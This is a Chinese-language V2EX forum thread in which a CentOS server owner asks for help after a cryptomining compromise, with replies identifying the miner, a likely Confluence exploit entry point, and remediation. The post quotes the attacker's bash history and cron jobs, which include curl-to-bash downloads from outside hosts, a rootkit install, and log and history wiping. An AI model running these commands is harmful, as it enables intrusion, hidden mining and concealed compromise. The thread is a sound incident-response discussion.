V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
quadrapop
V2EX  ›  CentOS

[求助] 系统中毒了,找到了进程和文件,无法杀死和删除

  •  
  •   quadrapop · 2022-12-02 16:30:34 +08:00 · 1956 次点击
    这是一个创建于 483 天前的主题,其中的信息可能已经有所发展或是发生改变。

    直接进入主题

    操作日志

    1  export TERM=xterm
        2  top
        3  /usr/lib/sys/rcu_bj 
        4  cd /usr/lib/sys/
        5  ls
        6  chmod +x rcu_bj 
        7  ./rcu_bj 
        8  chattr -ia rcu_bj
        9  ./rcu_bj 
       10  cd /
       11  mkdir .a
       12  cd .a
       13  git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit.git
       14  cd hiding-cryptominers-linux-rootkit/
       15  ls
       16  make
       17  dmesg
       18  dmesg -C
       19  ls
       20  make
       21  ls
       22  make
       23  make
       24  cd ..
       25  rm -rf hiding-cryptominers-linux-rootkit/
       26  curl -LO http://1.234.16.54:7070/apiapi/api/raw/master/s.zip;mv s.zip rcu;chmod +x rcu
       27  ./rcu 
       28  top
       29  rm -rf /var/log/*
       30  cat /dev/null > ~/.bash_history
       31  id
       32  curl http://123.30.179.206:8189/solr/.v7/api | bash   
       33  ps auxw --sort=%cpu|tail -10
       34  lscpu
       35  ps auxw --sort=%cpu|tail -10
       36  ps auxw --sort=%cpu|tail -10
       37  ps auxw --sort=%cpu|tail -10
       38  ps aux | grep rcu
       39  python -c 'import pty; pty.spawn("/bin/bash")'
    

    帮忙解读下这段脚本都干嘛了-_-

    https://github.com/alfonmga/hiding-cryptominers-linux-rootkit

    下载的这个脚本看用途是用来隐藏文件夹和进程的

    3 个可疑文件看起来没有隐藏文件属性,但是无法删除

    [root@localhost profile.d]# cd /usr/lib/sys
    [root@localhost sys]# ll
    总用量 8
    -rwxr-x--x 1 root confluence    0 12 月  1 18:38 rcu_bj
    -rwxr-x--- 1 root confluence 2786 11 月 14 11:01 rcu_libk
    -rwxrwx--- 1 root root       1199 11 月 14 11:01 rcu_udev
    -rwxr-x--- 1 root confluence    0 11 月 14 18:02 systemd
    [root@localhost sys]# lsattr rcu_bj
    ---------------- rcu_bj
    您在 /var/spool/mail/root 中有邮件
    [root@localhost sys]# lsattr rcu_libk
    ---------------- rcu_libk
    [root@localhost sys]# lsattr rcu_undev
    lsattr: 没有那个文件或目录 当尝试对 rcu_undev 进行 stat 调用时
    [root@localhost sys]# lsattr rcu_udev
    ---------------- rcu_udev
    

    进程也杀不死

    [root@localhost sys]# ps -ef|grep rcu
    root          8      2  0 4 月 13 ?       00:00:06 [rcu_bh]
    root          9      2  0 4 月 13 ?       22:01:59 [rcu_sched]
    root     168224 243031  0 16:28 pts/24   00:00:00 grep --color=auto rcu
    

    各位大佬接下来应该怎么办呀

    第 1 条附言  ·  2022-12-02 17:52:48 +08:00
    [root@localhost sys]# alias
    alias cp='cp -i'
    alias egrep='egrep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias grep='grep --color=auto'
    alias l.='ls -d .* --color=auto'
    alias ll='ls -l --color=auto'
    alias ls='ls --color=auto'
    alias mv='mv -i'
    alias rm='rm -i'
    alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
    [root@localhost sys]# crontab -l
    

    alias看起来正常,定时任务之前有一个我已经删掉了,查看端口也没有发现什么异常,应该是通过那个rootkit

    隐藏了什么东西-_-

    第 2 条附言  ·  2022-12-05 14:29:24 +08:00
    [root@localhost home]# crontab -u confluence -l
    */3 * * * * (curl -fsSL https://pastebin.com/raw/NfCRw0LF||wget -q -O- https://pastebin.com/raw/NfCRw0LF|| bash -sh
    * * * * * curl -fsSL http://j0llychic.com/mkdir_trace2.sh | bash > /dev/null 2>&1
    */30 * * * *    confluence /var/tmp/.crontab/crontab
    

    这个用户发现了几个定时任务

    8 条回复    2022-12-05 16:02:26 +08:00
    dier
        1
    dier  
       2022-12-02 17:46:15 +08:00
    检查一下 alias 有没有配置陌生的别名
    试试修改这个文件的权限
    检查一下 crontab
    尝试编辑随便编辑文件内容或修改文件名

    看能不能阻止自动启动
    quadrapop
        2
    quadrapop  
    OP
       2022-12-02 17:56:59 +08:00
    @dier alias 和调度器都看起来正常。
    脚本中的 http://1.234.16.54:7070/apiapi/api/raw/master/s.zip
    我下下来有差不多 6M ,但是文件是损坏的
    Nitroethane
        3
    Nitroethane  
       2022-12-02 19:40:04 +08:00
    首先不确定你给出的 bash 历史记录是否是完整的,因为 "/usr/lib/sys/rcu_bj" 这个文件像是攻击者植入的,默认系统没有这个文件。
    从 GitHub 克隆的这个项目的用途是使用内核模块隐藏挖矿木马的进程信息和 CPU 使用率。
    从 1.234.16.54 这个网站下载的 s.zip 不是压缩文件,是一个 ELF ,把 sha256 扔到 virustotal 上发现它是一个挖矿木马。
    至于请求 123.30.179.206 这个 URL ,我手动访问了下,返回是 404 ,看命令的话,正常情况应该是一个 shell 脚本,猜测可能是做横向移动用的。

    首先你得确认攻击者是从什么入口进来的,通过对公网开放的端口大致可以确定。然后搞清楚攻击者通过这个入口进来后拿到的是什么权限,如果是 root 的话可以考虑备份重要数据然后重装了。不过还是得确定从什么入口进来,要把相应的漏洞修复,否则以后还会中招。
    Nitroethane
        4
    Nitroethane  
       2022-12-02 19:42:26 +08:00
    至于你说的「进程也杀不死」,这两个进程 rcu_sched 和 rcu_bh ,它们的 PPID 都为 2 ,所以是内核线程,肯定杀不死,而且这两个内核线程应该是正常的。
    cxh116
        5
    cxh116  
       2022-12-02 19:51:07 +08:00
    这种情况应该第一时间关机.

    再 u 盘启动,备份数据.防止重要数据被删除或加密了.到时怕交 BTC 也拿不回.
    之后再 chroot 修,或直接重装,再把数据拷进去.
    quadrapop
        6
    quadrapop  
    OP
       2022-12-05 14:14:37 +08:00
    @Nitroethane
    操作记录只有这么多了,这一段脚本中应该是把日志删除了
    这个 rootkit 可以隐藏进程和 cpu 使用率,我搜了下,没找到怎么把隐藏的给显示出来。
    现在也不太确定时候从哪个端口进来的,外网几个映射端口已经关掉了-_-
    就是这 2 个进程也不知道应该怎么办。
    Nitroethane
        7
    Nitroethane  
       2022-12-05 16:00:09 +08:00
    @quadrapop

    注意看我的回复:至于你说的「进程也杀不死」,这两个进程 rcu_sched 和 rcu_bh ,它们的 PPID 都为 2 ,所以是内核线程,肯定杀不死,而且这两个内核线程应该是正常的。

    通过 /usr/lib/sys 目录下那两个挖矿木马的文件属性判断,应该是通过 confluence 的漏洞进来的。前段时间 confluence 爆出过好几个高危漏洞,赶紧升级下吧。
    Nitroethane
        8
    Nitroethane  
       2022-12-05 16:02:26 +08:00
    你贴出来的这些权限维持操作不是同一个人做的,这台服务器应该是像公交车一样,被很多人上了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5412 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 33ms · UTC 08:59 · PVG 16:59 · LAX 01:59 · JFK 04:59
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.